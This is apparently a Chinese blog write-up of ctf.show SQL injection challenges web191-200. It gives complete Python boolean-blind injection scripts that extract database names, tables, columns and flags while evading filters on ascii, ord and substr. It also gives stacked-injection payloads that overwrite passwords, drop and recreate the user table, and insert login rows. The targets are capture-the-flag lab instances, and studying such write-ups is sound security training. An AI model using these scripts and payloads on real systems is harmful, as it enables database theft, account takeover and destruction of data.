SQL注入篇4(web191-200)

一.布尔盲注(web191-194)

1.web191

过滤了ascii,web190的脚本换成ord

import requests
import string
url = "http://bee185bc-aa53-46a6-9ade-76a7b6feface.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):
        #猜解数据库名
        # data={
        #     'username': f"0'||if(ord(substr(database(),{j},1))={k},1,0)#",
        #     'password': '1'
        # }
 
        # 猜解表名
        # data={
        #     'username': f"0'||if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
        #     'password': '1'
        # }
 
        # 猜解列名
        # data={
        #     'username': f"0'||if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
        #     'password': '1'
        # }
 
        #猜解 flag
        data = {
            'username': f"0'||if(ord(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
            #这部分是 'username' 的值,它使用了Python的格式化字符串(f-string)。
            #格式化字符串允许你在字符串中插入变量或表达式的值。   
            'password': '1'
        }
 
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += chr(k)
            print(out)
            break

2.web192

ascii 和 ord 都过滤了,那么就不再转 ASCII 值,直接判断字符:

import requests
 
url = "http://10f7cee5-a9af-4875-b2af-89435301cfc4.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz'
for j in range(1, 50):
    print(j)
    for k in dic:
        #猜解数据库名
        # data={
        #     'username': f"0'||if(substr(database(),{j},1)={k},1,0)#",
        #     'password': '1'
        # }
 
        # 猜解表名
        # data={
        #     'username': f"0'||if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1)={k},1,0)#",
        #     'password': '1'
        # }
 
        # 猜解列名
        # data={
        #     'username': f"0'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1)={k},1,0)#",
        #     'password': '1'
        # }
 
        #猜解 flag
        data = {
            'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

3.web193

新增过滤 substr,使用 mid 代替:

mid() 函数用于从文本字段中提取字符;

或用left 和right函数

ctfshow-web入门-sql注入(web191-web195)_ctfshow web195-CSDN博客

import requests
 
url = "http://cc4bf7a0-f3f6-4ef8-b851-13f206b936a6.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }
 
        # 查表名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }
 
        # 查列名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }
 
        # 查具体字段
        data = {
            'username': f"0'||if((mid((select f1ag from ctfshow_flxg),{j},1))='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

4.web194

可用web193的脚本

二.堆叠注入:web195-web200

1.web195

密码只能是数字,过滤了空格,采用反引号包裹绕过,题目已经说了是堆叠注入,这里直接修改用户名和密码:

0;update`ctfshow_user`set`pass`=1

2.web196

1;select(1)

其中 $row[0] 表示从数据库查询结果中提取的某一行的第一个字段值,我们可以使用 select 来设置 $row[0] 的值,再提交我们设置的 password 满足两者相等;还是堆叠注入,显示过滤了 select 但可以绕过

第一个数字写什么都行 

3.web197

用户名是

1;show tables(用于显示数据库中存在的所有表)

密码为ctfshow_user,或者

1;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1)

4.web198-200

Web198-200都可以用show tables  

Web198还可以1;insert ctfshow_user(`username`,`pass`) value(1,1)执行后使用 1 和 1 进行登录:覆盖成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值